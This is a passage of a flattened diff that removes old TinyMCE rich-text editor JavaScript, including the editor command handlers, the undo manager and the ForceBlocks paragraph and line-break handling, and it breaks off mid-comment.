ones - if (/\/>$/.test(a)) - return a; - - d.push({tag : c}); // Push start element - } - - return a; - }); - - // End all open tags - for (i=d.length - 1; i>=0; i--) - s += '</' + d[i].tag + '>'; - - return s; - } - }); -})(tinymce); - -(function(tinymce) { - // Added for compression purposes - var each = tinymce.each, undefined, TRUE = true, FALSE = false; - - tinymce.EditorCommands = function(editor) { - var dom = editor.dom, - selection = editor.selection, - commands = {state: {}, exec : {}, value : {}}, - settings = editor.settings, - bookmark; - - function execCommand(command, ui, value) { - var func; - - command = command.toLowerCase(); - if (func = commands.exec[command]) { - func(command, ui, value); - return TRUE; - } - - return FALSE; - }; - - function queryCommandState(command) { - var func; - - command = command.toLowerCase(); - if (func = commands.state[command]) - return func(command); - - return -1; - }; - - function queryCommandValue(command) { - var func; - - command = command.toLowerCase(); - if (func = commands.value[command]) - return func(command); - - return FALSE; - }; - - function addCommands(command_list, type) { - type = type || 'exec'; - - each(command_list, function(callback, command) { - each(command.toLowerCase().split(','), function(command) { - commands[type][command] = callback; - }); - }); - }; - - // Expose public methods - tinymce.extend(this, { - execCommand : execCommand, - queryCommandState : queryCommandState, - queryCommandValue : queryCommandValue, - addCommands : addCommands - }); - - // Private methods - - function execNativeCommand(command, ui, value) { - if (ui === undefined) - ui = FALSE; - - if (value === undefined) - value = null; - - return editor.getDoc().execCommand(command, ui, value); - }; - - function isFormatMatch(name) { - return editor.formatter.match(name); - }; - - function toggleFormat(name, value) { - editor.formatter.toggle(name, value ? {value : value} : undefined); - }; - - function storeSelection(type) { - bookmark = selection.getBookmark(type); - }; - - function restoreSelection() { - selection.moveToBookmark(bookmark); - }; - - // Add execCommand overrides - addCommands({ - // Ignore these, added for compatibility - 'mceResetDesignMode,mceBeginUndoLevel' : function() {}, - - // Add undo manager logic - 'mceEndUndoLevel,mceAddUndoLevel' : function() { - editor.undoManager.add(); - }, - - 'Cut,Copy,Paste' : function(command) { - var doc = editor.getDoc(), failed; - - // Try executing the native command - try { - execNativeCommand(command); - } catch (ex) { - // Command failed - failed = TRUE; - } - - // Present alert message about clipboard access not being available - if (failed || !doc.queryCommandSupported(command)) { - if (tinymce.isGecko) { - editor.windowManager.confirm(editor.getLang('clipboard_msg'), function(state) { - if (state) - open('http://www.mozilla.org/editor/midasdemo/securityprefs.html', '_blank'); - }); - } else - editor.windowManager.alert(editor.getLang('clipboard_no_support')); - } - }, - - // Override unlink command - unlink : function(command) { - if (selection.isCollapsed()) - selection.select(selection.getNode()); - - execNativeCommand(command); - selection.collapse(FALSE); - }, - - // Override justify commands to use the text formatter engine - 'JustifyLeft,JustifyCenter,JustifyRight,JustifyFull' : function(command) { - var align = command.substring(7); - - // Remove all other alignments first - each('left,center,right,full'.split(','), function(name) { - if (align != name) - editor.formatter.remove('align' + name); - }); - - toggleFormat('align' + align); - }, - - // Override list commands to fix WebKit bug - 'InsertUnorderedList,InsertOrderedList' : function(command) { - var listElm, listParent; - - execNativeCommand(command); - - // WebKit produces lists within block elements so we need to split them - // we will replace the native list creation logic to custom logic later on - // TODO: Remove this when the list creation logic is removed - listElm = dom.getParent(selection.getNode(), 'ol,ul'); - if (listElm) { - listParent = listElm.parentNode; - - // If list is within a text block then split that block - if (/^(H[1-6]|P|ADDRESS|PRE)$/.test(listParent.nodeName)) { - storeSelection(); - dom.split(listParent, listElm); - restoreSelection(); - } - } - }, - - // Override commands to use the text formatter engine - 'Bold,Italic,Underline,Strikethrough' : function(command) { - toggleFormat(command); - }, - - // Override commands to use the text formatter engine - 'ForeColor,HiliteColor,FontName' : function(command, ui, value) { - toggleFormat(command, value); - }, - - FontSize : function(command, ui, value) { - var fontClasses, fontSizes; - - // Convert font size 1-7 to styles - if (value >= 1 && value <= 7) { - fontSizes = tinymce.explode(settings.font_size_style_values); - fontClasses = tinymce.explode(settings.font_size_classes); - - if (fontClasses) - value = fontClasses[value - 1] || value; - else - value = fontSizes[value - 1] || value; - } - - toggleFormat(command, value); - }, - - RemoveFormat : function(command) { - editor.formatter.remove(command); - }, - - mceBlockQuote : function(command) { - toggleFormat('blockquote'); - }, - - FormatBlock : function(command, ui, value) { - return toggleFormat(value || 'p'); - }, - - mceCleanup : function() { - var bookmark = selection.getBookmark(); - - editor.setContent(editor.getContent({cleanup : TRUE}), {cleanup : TRUE}); - - selection.moveToBookmark(bookmark); - }, - - mceRemoveNode : function(command, ui, value) { - var node = value || selection.getNode(); - - // Make sure that the body node isn't removed - if (node != editor.getBody()) { - storeSelection(); - editor.dom.remove(node, TRUE); - restoreSelection(); - } - }, - - mceSelectNodeDepth : function(command, ui, value) { - var counter = 0; - - dom.getParent(selection.getNode(), function(node) { - if (node.nodeType == 1 && counter++ == value) { - selection.select(node); - return FALSE; - } - }, editor.getBody()); - }, - - mceSelectNode : function(command, ui, value) { - selection.select(value); - }, - - mceInsertContent : function(command, ui, value) { - selection.setContent(value); - }, - - mceInsertRawHTML : function(command, ui, value) { - selection.setContent('tiny_mce_marker'); - editor.setContent(editor.getContent().replace(/tiny_mce_marker/g, value)); - }, - - mceSetContent : function(command, ui, value) { - editor.setContent(value); - }, - - 'Indent,Outdent' : function(command) { - var intentValue, indentUnit, value; - - // Setup indent level - intentValue = settings.indentation; - indentUnit = /[a-z%]+$/i.exec(intentValue); - intentValue = parseInt(intentValue); - - if (!queryCommandState('InsertUnorderedList') && !queryCommandState('InsertOrderedList')) { - each(selection.getSelectedBlocks(), function(element) { - if (command == 'outdent') { - value = Math.max(0, parseInt(element.style.paddingLeft || 0) - intentValue); - dom.setStyle(element, 'paddingLeft', value ? value + indentUnit : ''); - } else - dom.setStyle(element, 'paddingLeft', (parseInt(element.style.paddingLeft || 0) + intentValue) + indentUnit); - }); - } else - execNativeCommand(command); - }, - - mceRepaint : function() { - var bookmark; - - if (tinymce.isGecko) { - try { - storeSelection(TRUE); - - if (selection.getSel()) - selection.getSel().selectAllChildren(editor.getBody()); - - selection.collapse(TRUE); - restoreSelection(); - } catch (ex) { - // Ignore - } - } - }, - - mceToggleFormat : function(command, ui, value) { - editor.formatter.toggle(value); - }, - - InsertHorizontalRule : function() { - selection.setContent('<hr />'); - }, - - mceToggleVisualAid : function() { - editor.hasVisual = !editor.hasVisual; - editor.addVisual(); - }, - - mceReplaceContent : function(command, ui, value) { - selection.setContent(value.replace(/\{\$selection\}/g, selection.getContent({format : 'text'}))); - }, - - mceInsertLink : function(command, ui, value) { - var link = dom.getParent(selection.getNode(), 'a'); - - if (tinymce.is(value, 'string')) - value = {href : value}; - - if (!link) { - execNativeCommand('CreateLink', FALSE, 'javascript:mctmp(0);'); - each(dom.select('a[href=javascript:mctmp(0);]'), function(link) { - dom.setAttribs(link, value); - }); - } else { - if (value.href) - dom.setAttribs(link, value); - else - editor.dom.remove(link, TRUE); - } - }, - - selectAll : function() { - var root = dom.getRoot(), rng = dom.createRng(); - - rng.setStart(root, 0); - rng.setEnd(root, root.childNodes.length); - - editor.selection.setRng(rng); - } - }); - - // Add queryCommandState overrides - addCommands({ - // Override justify commands - 'JustifyLeft,JustifyCenter,JustifyRight,JustifyFull' : function(command) { - return isFormatMatch('align' + command.substring(7)); - }, - - 'Bold,Italic,Underline,Strikethrough' : function(command) { - return isFormatMatch(command); - }, - - mceBlockQuote : function() { - return isFormatMatch('blockquote'); - }, - - Outdent : function() { - var node; - - if (settings.inline_styles) { - if ((node = dom.getParent(selection.getStart(), dom.isBlock)) && parseInt(node.style.paddingLeft) > 0) - return TRUE; - - if ((node = dom.getParent(selection.getEnd(), dom.isBlock)) && parseInt(node.style.paddingLeft) > 0) - return TRUE; - } - - return queryCommandState('InsertUnorderedList') || queryCommandState('InsertOrderedList') || (!settings.inline_styles && !!dom.getParent(selection.getNode(), 'BLOCKQUOTE')); - }, - - 'InsertUnorderedList,InsertOrderedList' : function(command) { - return dom.getParent(selection.getNode(), command == 'insertunorderedlist' ? 'UL' : 'OL'); - } - }, 'state'); - - // Add queryCommandValue overrides - addCommands({ - 'FontSize,FontName' : function(command) { - var value = 0, parent; - - if (parent = dom.getParent(selection.getNode(), 'span')) { - if (command == 'fontsize') - value = parent.style.fontSize; - else - value = parent.style.fontFamily.replace(/, /g, ',').replace(/[\'\"]/g, '').toLowerCase(); - } - - return value; - } - }, 'value'); - - // Add undo manager logic - if (settings.custom_undo_redo) { - addCommands({ - Undo : function() { - editor.undoManager.undo(); - }, - - Redo : function() { - editor.undoManager.redo(); - } - }); - } - }; -})(tinymce); -(function(tinymce) { - var Dispatcher = tinymce.util.Dispatcher; - - tinymce.UndoManager = function(editor) { - var self, index = 0, data = []; - - function getContent() { - return tinymce.trim(editor.getContent({format : 'raw', no_events : 1})); - }; - - return self = { - typing : 0, - - onAdd : new Dispatcher(self), - onUndo : new Dispatcher(self), - onRedo : new Dispatcher(self), - - add : function(level) { - var i, settings = editor.settings, lastLevel; - - level = level || {}; - level.content = getContent(); - - // Add undo level if needed - lastLevel = data[index]; - if (lastLevel && lastLevel.content == level.content) { - if (index > 0 || data.length == 1) - return null; - } - - // Time to compress - if (settings.custom_undo_redo_levels) { - if (data.length > settings.custom_undo_redo_levels) { - for (i = 0; i < data.length - 1; i++) - data[i] = data[i + 1]; - - data.length--; - index = data.length; - } - } - - // Get a non intrusive normalized bookmark - level.bookmark = editor.selection.getBookmark(2, true); - - // Crop array if needed - if (index < data.length - 1) { - // Treat first level as initial - if (index == 0) - data = []; - else - data.length = index + 1; - } - - data.push(level); - index = data.length - 1; - - self.onAdd.dispatch(self, level); - editor.isNotDirty = 0; - - return level; - }, - - undo : function() { - var level, i; - - if (self.typing) { - self.add(); - self.typing = 0; - } - - if (index > 0) { - level = data[--index]; - - editor.setContent(level.content, {format : 'raw'}); - editor.selection.moveToBookmark(level.bookmark); - - self.onUndo.dispatch(self, level); - } - - return level; - }, - - redo : function() { - var level; - - if (index < data.length - 1) { - level = data[++index]; - - editor.setContent(level.content, {format : 'raw'}); - editor.selection.moveToBookmark(level.bookmark); - - self.onRedo.dispatch(self, level); - } - - return level; - }, - - clear : function() { - data = []; - index = self.typing = 0; - }, - - hasUndo : function() { - return index > 0 || self.typing; - }, - - hasRedo : function() { - return index < data.length - 1; - } - }; - }; -})(tinymce); - -(function(tinymce) { - // Shorten names - var Event = tinymce.dom.Event, - isIE = tinymce.isIE, - isGecko = tinymce.isGecko, - isOpera = tinymce.isOpera, - each = tinymce.each, - extend = tinymce.extend, - TRUE = true, - FALSE = false; - - function cloneFormats(node) { - var clone, temp, inner; - - do { - if (/^(SPAN|STRONG|B|EM|I|FONT|STRIKE|U)$/.test(node.nodeName)) { - if (clone) { - temp = node.cloneNode(false); - temp.appendChild(clone); - clone = temp; - } else { - clone = inner = node.cloneNode(false); - } - - clone.removeAttribute('id'); - } - } while (node = node.parentNode); - - if (clone) - return {wrapper : clone, inner : inner}; - }; - - // Checks if the selection/caret is at the end of the specified block element - function isAtEnd(rng, par) { - var rng2 = par.ownerDocument.createRange(); - - rng2.setStart(rng.endContainer, rng.endOffset); - rng2.setEndAfter(par); - - // Get number of characters to the right of the cursor if it's zero then we are at the end and need to merge the next block element - return rng2.cloneContents().textContent.length == 0; - }; - - function isEmpty(n) { - n = n.innerHTML; - - n = n.replace(/<(img|hr|table|input|select|textarea)[ \>]/gi, '-'); // Keep these convert them to - chars - n = n.replace(/<[^>]+>/g, ''); // Remove all tags - - return n.replace(/[ \u00a0\t\r\n]+/g, '') == ''; - }; - - function splitList(selection, dom, li) { - var listBlock, block; - - if (isEmpty(li)) { - listBlock = dom.getParent(li, 'ul,ol'); - - if (!dom.getParent(listBlock.parentNode, 'ul,ol')) { - dom.split(listBlock, li); - block = dom.create('p', 0, '<br _mce_bogus="1" />'); - dom.replace(block, li); - selection.select(block, 1); - } - - return FALSE; - } - - return TRUE; - }; - - tinymce.create('tinymce.ForceBlocks', { - ForceBlocks : function(ed) { - var t = this, s = ed.settings, elm; - - t.editor = ed; - t.dom = ed.dom; - elm = (s.forced_root_block || 'p').toLowerCase(); - s.element = elm.toUpperCase(); - - ed.onPreInit.add(t.setup, t); - - t.reOpera = new RegExp('(\\u00a0|&#160;|&nbsp;)<\/' + elm + '>', 'gi'); - t.rePadd = new RegExp('<p( )([^>]+)><\\\/p>|<p( )([^>]+)\\\/>|<p( )([^>]+)>\\s+<\\\/p>|<p><\\\/p>|<p\\\/>|<p>\\s+<\\\/p>'.replace(/p/g, elm), 'gi'); - t.reNbsp2BR1 = new RegExp('<p( )([^>]+)>[\\s\\u00a0]+<\\\/p>|<p>[\\s\\u00a0]+<\\\/p>'.replace(/p/g, elm), 'gi'); - t.reNbsp2BR2 = new RegExp('<%p()([^>]+)>(&nbsp;|&#160;)<\\\/%p>|<%p>(&nbsp;|&#160;)<\\\/%p>'.replace(/%p/g, elm), 'gi'); - t.reBR2Nbsp = new RegExp('<p( )([^>]+)>\\s*<br \\\/>\\s*<\\\/p>|<p>\\s*<br \\\/>\\s*<\\\/p>'.replace(/p/g, elm), 'gi'); - - function padd(ed, o) { - if (isOpera) - o.content = o.content.replace(t.reOpera, '</' + elm + '>'); - - o.content = o.content.replace(t.rePadd, '<' + elm + '$1$2$3$4$5$6>\u00a0</' + elm + '>'); - - if (!isIE && !isOpera && o.set) { - // Use &nbsp; instead of BR in padded paragraphs - o.content = o.content.replace(t.reNbsp2BR1, '<' + elm + '$1$2><br /></' + elm + '>'); - o.content = o.content.replace(t.reNbsp2BR2, '<' + elm + '$1$2><br /></' + elm + '>'); - } else - o.content = o.content.replace(t.reBR2Nbsp, '<' + elm + '$1$2>\u00a0</' + elm + '>'); - }; - - ed.onBeforeSetContent.add(padd); - ed.onPostProcess.add(padd); - - if (s.forced_root_block) { - ed.onInit.add(t.forceRoots, t); - ed.onSetContent.add(t.forceRoots, t); - ed.onBeforeGetContent.add(t.forceRoots, t); - } - }, - - setup : function() { - var t = this, ed = t.editor, s = ed.settings, dom = ed.dom, selection = ed.selection; - - // Force root blocks when typing and when getting output - if (s.forced_root_block) { - ed.onBeforeExecCommand.add(t.forceRoots, t); - ed.onKeyUp.add(t.forceRoots, t); - ed.onPreProcess.add(t.forceRoots, t); - } - - if (s.force_br_newlines) { - // Force IE to produce BRs on enter - if (isIE) { - ed.onKeyPress.add(function(ed, e) { - var n; - - if (e.keyCode == 13 && selection.getNode().nodeName != 'LI') { - selection.setContent('<br id="__" /> ', {format : 'raw'}); - n = dom.get('__'); - n.removeAttribute('id'); - selection.select(n); - selection.collapse(); - return Event.cancel(e); - } - }); - } - } - - if (s.force_p_newlines) { - if (!isIE) { - ed.onKeyPress.add(function(ed, e) { - if (e.keyCode == 13 && !e.shiftKey && !t.insertPara(e)) - Event.cancel(e); - }); - } else { - // Ungly hack to for IE to preserve the formatting when you press - // enter at the end of a block element with formatted contents - // This logic overrides the browsers default logic with - // custom logic that enables us to control the output - tinymce.addUnload(function() { - t._previousFormats = 0; // Fix IE leak - }); - - ed.onKeyPress.add(function(ed, e) { - t._previousFormats = 0; - - // Clone the current formats, this will later be applied to the new block contents - if (e.keyCode == 13 && !e.shiftKey && ed.selection.isCollapsed() && s.keep_styles) - t._previousFormats = cloneFormats(ed.selection.getStart()); - }); - - ed.onKeyUp.add(function(ed, e) { - // Let IE break the element and the wrap the new caret location in the previous formats - if (e.keyCode == 13 && !e.shiftKey) { - var parent = ed.selection.getStart(), fmt = t._previousFormats; - - // Parent is an empty block - if (!parent.hasChildNodes()) { - parent = dom.getParent(parent, dom.isBlock); - - if (parent) { - parent.innerHTML = ''; - - if (t._previousFormats) { - parent.appendChild(fmt.wrapper); - fmt.inner.innerHTML = '\uFEFF'; - } else - parent.innerHTML = '\uFEFF'; - - selection.select(parent, 1); - ed.getDoc().execCommand('Delete', false, null); - } - } - } - }); - } - - if (isGecko) { - ed.onKeyDown.add(function(ed, e) { - if ((e.keyCode == 8 || e.keyCode == 46) && !e.shiftKey) - t.backspaceDelete(e, e.keyCode == 8); - }); - } - } - - // Workaround for missing shift+enter support, http://bugs.webkit.org/show_bug.cgi?id=16973 - if (tinymce.isWebKit) { - function insertBr(ed) { - var rng = selection.getRng(), br, div = dom.create('div', null, ' '), divYPos, vpHeight = dom.getViewPort(ed.getWin()).h; - - // Insert BR element - rng.insertNode(br = dom.create('br')); - - // Place caret after BR - rng.setStartAfter(br); - rng.setEndAfter(br); - selection.setRng(rng); - - // Could not place caret after BR then insert an nbsp entity and move the caret - if (selection.getSel().focusNode == br.previousSibling) { - selection.select(dom.insertAfter(dom.doc.createTextNode('\u00a0'), br)); - selection.collapse(TRUE); - } - - // Create a temporary DIV after the BR and get the position as it - // seems like getPos() returns 0 for text nodes and BR elements. - dom.insertAfter(div, br); - divYPos = dom.getPos(div).y; - dom.remove(div); - - // Scroll to new position, scrollIntoView can't be used due to bug: http://bugs.webkit.org/show_bug.cgi?id=16117 - if (divYPos > vpHeight) // It is not necessary to scroll if the DIV is inside the view port. - ed.getWin().scrollTo(0, divYPos); - }; - - ed.onKeyPress.add(function(ed, e) { - if (e.keyCode == 13 && (e.shiftKey || (s.force_br_newlines && !dom.getParent(selection.getNode(), 'h1,h2,h3,h4,h5,h6,ol,ul')))) { - insertBr(ed); - Event.cancel(e); - } - }); - } - - // Padd empty inline elements within block elements - // For example: <p><strong><em></em></strong></p> becomes <p><strong><em>&nbsp;</em></strong></p> - ed.onPreProcess.add(function(ed, o) { - each(dom.select('p,h1,h2,h3,h4,h5,h6,div', o.node), function(p) { - if (isEmpty(p)) { - each(dom.select('span,em,strong,b,i', o.node), function(n) { - if (!n.hasChildNodes()) { - n.appendChild(ed.getDoc().createTextNode('\u00a0')); - return FALSE; // Break the loop one padding is enough - } - }); - } - }); - }); - - // IE specific fixes - if (isIE) { - // Replaces IE:s auto generated paragraphs with the specified element name - if (s.element != 'P') { - ed.onKeyPress.add(function(ed, e) { - t.lastElm = selection.getNode().nodeName; - }); - - ed.onKeyUp.add(function(ed, e) { - var bl, n = selection.getNode(), b = ed.getBody(); - - if (b.childNodes.length === 1 && n.nodeName == 'P') { - n = dom.rename(n, s.element); - selection.select(n); - selection.collapse(); - ed.nodeChanged(); - } else if (e.keyCode == 13 && !e.shiftKey && t.lastElm != 'P') { - bl = dom.getParent(n, 'p'); - - if (bl) { - dom.rename(bl, s.element); - ed.nodeChanged(); - } - } - }); - } - } - }, - - find : function(n, t, s) { - var ed = this.editor, w = ed.getDoc().createTreeWalker(n, 4, null, FALSE), c = -1; - - while (n = w.nextNode()) { - c++; - - // Index by node - if (t == 0 && n == s) - return c; - - // Node by index - if (t == 1 && c == s) - return n; - } - - return -1; - }, - - forceRoots : function(ed, e) { - var t = this, ed = t.editor, b = ed.getBody(), d = ed.getDoc(), se = ed.selection, s = se.getSel(), r = se.getRng(), si = -2, ei, so, eo, tr, c = -0xFFFFFF; - var nx, bl, bp, sp, le, nl = b.childNodes, i, n, eid; - - // Fix for bug #1863847 - //if (e && e.keyCode == 13) - // return TRUE; - - // Wrap non blocks into blocks - for (i = nl.length - 1; i >= 0; i--) { - nx = nl[i]; - - // Ignore internal elements - if (nx.nodeType === 1 && nx.getAttribute('_mce_type')) { - bl = null; - continue; - } - - // Is text or non block element - if (nx.nodeType === 3 || (!t.dom.isBlock(nx) && nx.nodeType !== 8 && !/^(script|mce:script|style|mce:style)$/i.test(nx.nodeName))) { - if (!bl) { - // Create new block but ignore whitespace - if (nx.nodeType != 3 || /[^\s]/g.test(nx.nodeValue)) { - // Store selection - if (si == -2 && r) { - if (!isIE) { - // If selection is element then mark it - if (r.startContainer.nodeType == 1 && (n = r.startContainer.childNodes[r.startOffset]) && n.nodeType == 1) { - // Save the id of the selected element - eid = n.getAttribute("id"); - n.setAttribute("id", "__mce"); - } else { - // If element is inside body, might not be the case in contentEdiable mode - if (ed.dom.getParent(r.startContainer, function(e) {return e === b;})) { - so = r.startOffset; - eo = r.endOffset; - si = t.find(b, 0, r.startContainer); - ei = t.find(b, 0, r.endContainer); - } - } - } else { - // Force control range into text range - if (r.item) { - tr = d.body.createTextRange(); - tr.moveToElementText(r.item(0)); - r = tr; - } - - tr = d.body.createTextRange(); - tr.moveToElementText(b); - tr.collapse(1); - bp = tr.move('character', c) * -1; - - tr = r.duplicate(); - tr.collapse(1); - sp = tr.move('character', c) * -1; - - tr = r.duplicate(); - tr.collapse(0); - le = (tr.move('character', c) * -1) - sp; - - si = sp - bp; - ei = le; - } - } - - // Uses replaceChild instead of cloneNode since it removes selected attribute from option elements on IE - // See: http://support.microsoft.com/kb/829907 - bl = ed.dom.create(ed.settings.forced_root_block); - nx.parentNode.replaceChild(bl, nx); - bl.appendChild(nx); - } - } else { - if (bl.hasChildNodes()) - bl.insertBefore(nx, bl.firstChild); - else - bl.appendChild(nx); - } - } else - bl = null; // Time to create new block - } - - // Restore selection - if (si != -2) { - if (!isIE) { - bl = b.getElementsByTagName(ed.settings.element)[0]; - r = d.createRange(); - - // Select last location or generated block - if (si != -1) - r.setStart(t.find(b, 1, si), so); - else - r.setStart(bl, 0); - - // Select last location or generated block - if (ei != -1) - r.setEnd(t.find(b, 1, ei), eo); - else - r.setEnd(bl, 0); - - if (s) { - s.removeAllRanges(); - s.addRange(r); - } - } else { - try { - r = s.createRange(); - r.moveToElementText(b); - r.collapse(1); - r.moveStart('character', si); - r.moveEnd('character', ei); - r.select(); - } catch (ex) { - // Ignore - } - } - } else if (!isIE && (n = ed.dom.get('__mce'))) { - // Restore the id of the selected element - if (eid) - n.setAttribute('id', eid); - else - n.removeAttribute('id'); - - // Move caret before selected element - r = d.createRange(); - r.setStartBefore(n); - r.setEndBefore(n); - se.setRng(r); - } - }, - - getParentBlock : function(n) { - var d = this.dom; - - return d.getParent(n, d.isBlock); - }, - - insertPara : function(e) { - var t = this, ed = t.editor, dom = ed.dom, d = ed.getDoc(), se = ed.settings, s = ed.selection.getSel(), r = s.getRangeAt(0), b = d.body; - var rb, ra, dir, sn, so, en, eo, sb, eb, bn, bef, aft, sc, ec, n, vp = dom.getViewPort(ed.getWin()), y, ch, car; - - // If root blocks are forced then use Operas default behavior since it's really good -// Removed due to bug: #1853816 -// if (se.forced_root_block && isOpera) -// return TRUE; - - // Setup before range - rb = d.createRange(); - - // If is before the first block element and in body, then move it into first block element - rb.setStart(s.anchorNode, s.anchorOffset); - rb.collapse(TRUE); - - // Setup after range - ra = d.createRange(); - - // If is before the first block element and in body, then move it into first block element - ra.setStart(s.focusNode, s.focusOffset); - ra.collapse(TRUE); - - // Setup start/end points - dir = rb.compareBoundaryPoints(rb.START_TO_END, ra) < 0; - sn = dir ? s.anchorNode : s.focusNode; - so = dir ? s.anchorOffset : s.focusOffset; - en = dir ? s.focusNode : s.anchorNode; - eo = dir ? s.focusOffset : s.anchorOffset; - - // If selection is in empty table cell - if (sn === en && /^(TD|TH)$/.test(sn.nodeName)) { - if (sn.firstChild.nodeName == 'BR') - dom.remove(sn.firstChild); // Remove BR - - // Create two new block elements - if (sn.childNodes.length == 0) { - ed.dom.add(sn, se.element, null, '<br />'); - aft = ed.dom.add(sn, se.element, null, '<br />'); - } else { - n = sn.innerHTML; - sn.innerHTML = ''; - ed.dom.add(sn, se.element, null, n); - aft = ed.dom.add(sn, se.element, null, '<br />'); - } - - // Move caret into the last one - r = d.createRange(); - r.selectNodeContents(aft); - r.collapse(1); - ed.selection.setRng(r); - - return FALSE; - } - - // If the caret is in an invalid location in FF we need to move it into the first block - if (sn == b && en == b && b.firstChild && ed.dom.isBlock(b.firstChild)) { - sn = en = sn.firstChild; - so = eo = 0; - rb = d.createRange(); - rb.setStart(sn, 0); - ra = d.createRange(); - ra.setStart(en, 0); - } - - // Never use body as start or end node - sn = sn.nodeName == "HTML" ? d.body : sn; // Fix for Opera bug: https://bugs.opera.com/show_bug.cgi?id=273224&comments=yes - sn = sn.nodeName == "BODY" ? sn.firstChild : sn; - en = en.nodeName == "HTML" ? d.body : en; // Fix for Opera bug: https://bugs.opera.com/show_bug.cgi?id=273224&comments=yes - en = en.nodeName == "BODY" ? en.firstChild : en; - - // Get start and end blocks - sb = t.getParentBlock(sn); - eb = t.getParentBlock(en); - bn = sb ? sb.nodeName : se.element; // Get block name to create - - // Return inside list use default browser behavior - if (n = t.dom.getParent(sb, 'li,pre')) { - if (n.nodeName == 'LI') - return splitList(ed.selection, t.dom, n); - - return TRUE; - } - - // If caption or absolute layers then always generate new blocks within - if (sb && (sb.nodeName == 'CAPTION' || /absolute|relative|fixed/gi.test(dom.getStyle(sb, 'position', 1)))) { - bn = se.element; - sb = null; - } - - // If caption or absolute layers then always generate new blocks within - if (eb && (eb.nodeName == 'CAPTION' || /absolute|relative|fixed/gi.test(dom.getStyle(sb, 'position', 1)))) { - bn = se.element; - eb = null; - } - - // Use P instead - if (/(TD|TABLE|TH|CAPTION)/.test(bn) || (sb && bn == "DIV" && /left|right/gi.test(dom.getStyle(sb, 'float', 1)))) { - bn = se.element; - sb = eb = null; - } - - // Setup new before and after blocks - bef = (sb && sb.nodeName == bn) ? sb.cloneNode(0) : ed.dom.create(bn); - aft = (eb && eb.nodeName == bn) ? eb.cloneNode(0) : ed.dom.create(bn); - - // Remove id from after clone - aft.removeAttribute('id'); - - // Is header and cursor is at the end, then force paragraph under - if (/^(H[1-6])$/.test(bn) && isAtEnd(r, sb)) - aft = ed.dom.create(se.element); - - // Find start chop node - n = sc = sn; - do { - if (n == b || n.nodeType == 9 || t.dom.isBlock(n) || /(TD|TABLE|TH|CAPTION)/.test(n.nodeName)) - break; - - sc = n; - } while ((n = n.previousSibling ? n.previousSibling : n.parentNode)); - - // Find end chop node - n = ec = en; - do { - if (n == b || n.nodeType == 9 || t.dom.isBlock(n) || /(TD|TABLE|TH|CAPTION)/.test(n.nodeName)) - break; - - ec = n; - } while ((n = n.nextSibling ? n.nextSibling : n.parentNode)); - - // Place first chop part into before block element - if (sc.nodeName == bn) - rb.setStart(sc, 0); - else - rb.setStartBefore(sc); - - rb.setEnd(sn, so); - bef.appendChild(rb.cloneContents() || d.createTextNode('')); // Empty text node needed for Safari - - // Place secnd chop part within new block element - try { - ra.setEndAfter(ec); - } catch(ex) { - //console.debug(s.focusNode, s.focusOffset); - } - - ra.setStart(en, eo); - aft.appendChild(ra.cloneContents() || d.createTextNode('')); // Empty text node needed for Safari - - // Create range around everything - r = d.createRange(); - if (!sc.previousSibling && sc.parentNode.nodeName == bn) { - r.setStartBefore(sc.parentNode); - } else { - if (rb.startContainer.nodeName == bn && rb.startOffset == 0) - r.setStartBefore(rb.startContainer); - else - r.setStart(rb.startContainer, rb.startOffset); - } - - if (!ec.nextSibling && ec.parentNode.nodeName == bn) - r.setEndAfter(ec.parentNode); - else - r.setEnd(ra.endContainer, ra.endOffset); - - // Delete and replace it with new block elements - r.deleteContents(); - - if (isOpera) - ed.getWin().scrollTo(0, vp.y); - - // Never wrap blocks in blocks - if (bef.firstChild && bef.firstChild.nodeName == bn) - bef.innerHTML = bef.firstChild.innerHTML; - - if (aft.firstChild && aft.firstChild.nodeName == bn) - aft.innerHTML = aft.firstChild.innerHTML; - - // Padd empty blocks - if (isEmpty(bef)) - bef.innerHTML = '<br />'; - - function appendStyles(e, en) { - var nl = [], nn, n, i; - - e.innerHTML = ''; - - // Make clones of style elements - if (se.keep_styles) { - n = en; - do { - // We only want style specific elements - if (/^(SPAN|STRONG|B|EM|I|FONT|STRIKE|U)$/.test(n.nodeName)) { - nn = n.cloneNode(FALSE); - dom.setAttrib(nn, 'id', ''); // Remove ID since it needs to be unique - nl.push(nn); - } - } while (n = n.parentNode); - } - - // Append style elements to aft - if (nl.length > 0) { - for (i = nl.length - 1, nn = e; i >= 0; i--) - nn = nn.appendChild(nl[i]); - - // Padd most inner style element - nl[0].innerHTML = isOpera ? '&nbsp;' : '<br />'; // Extra space for Opera so that the caret can move there - return nl[0]; // Move caret to most inner element - } else - e.innerHTML = isOpera ? '&nbsp;' : '<br />'; // Extra space for Opera so that the caret can move there - }; - - // Fill empty afterblook with current style - if (isEmpty(aft)) - car = appendStyles(aft, en); - - // Opera needs this one backwards for older versions - if (isOpera && parseFloat(opera.version()) < 9.5) { - r.insertNode(bef); - r.insertNode(aft); - } else { - r.insertNode(aft); - r.insertNode(bef); - } - - // Normalize - aft.normalize(); - bef.normalize(); - - function first(n) { - return d.createTreeWalker(n, NodeFilter.SHOW_TEXT, null, FALSE).nextNode() || n; - }; - - // Move cursor and scroll into view - r = d.createRange(); - r.selectNodeContents(isGecko ? first(car || aft) : car || aft); - r.collapse(1); - s.removeAllRanges(); - s.addRange(r); - - // scrollIntoView seems to scroll the parent window in most browsers now including FF 3.0b4 so it's time to stop using it and do it our selfs - y = ed.dom.getPos(aft).y; - ch = aft.clientHeight; - - // Is element within viewport - if (y < vp.y || y + ch > vp.y + vp.h) { - ed.getWin().scrollTo(0, y < vp.y ? y : y - vp.h + 25); // Needs to be hardcoded to roughly one line of text if a huge text block is broken into two blocks - //console.debug('SCROLL!', 'vp.y: ' + vp.y, 'y' + y, 'vp.h' + vp.h, 'clientHeight' + aft.clientHeight, 'yyy: ' + (y < vp.y ? y : y - vp.h + aft.clientHeight)); - } - - return FALSE; - }, - - backspaceDelete : function(e, bs) { - var t = this, ed = t.editor, b = ed.getBody(), dom = ed.dom, n, se = ed.selection, r = se.getRng(), sc = r.startContainer, n, w, tn, walker; - - // Delete when caret is behind a element doesn't work correctly on Gecko see #3011651 - if (!bs && r.collapsed && sc.nodeType == 1 && r.startOffset == sc.childNodes.length) { - walker = new tinymce.dom.TreeWalker(sc.lastChild, sc); - - // Walk the dom backwards until we find a text node - for (n = sc.lastChild; n; n = walker.prev()) { - if (n.nodeType == 3) { - r.setStart(n, n.nodeValue.length); - r.collapse(true); - se.setRng(r); - return; - } - } - } - - // The caret sometimes gets stuck in Gecko if you delete empty 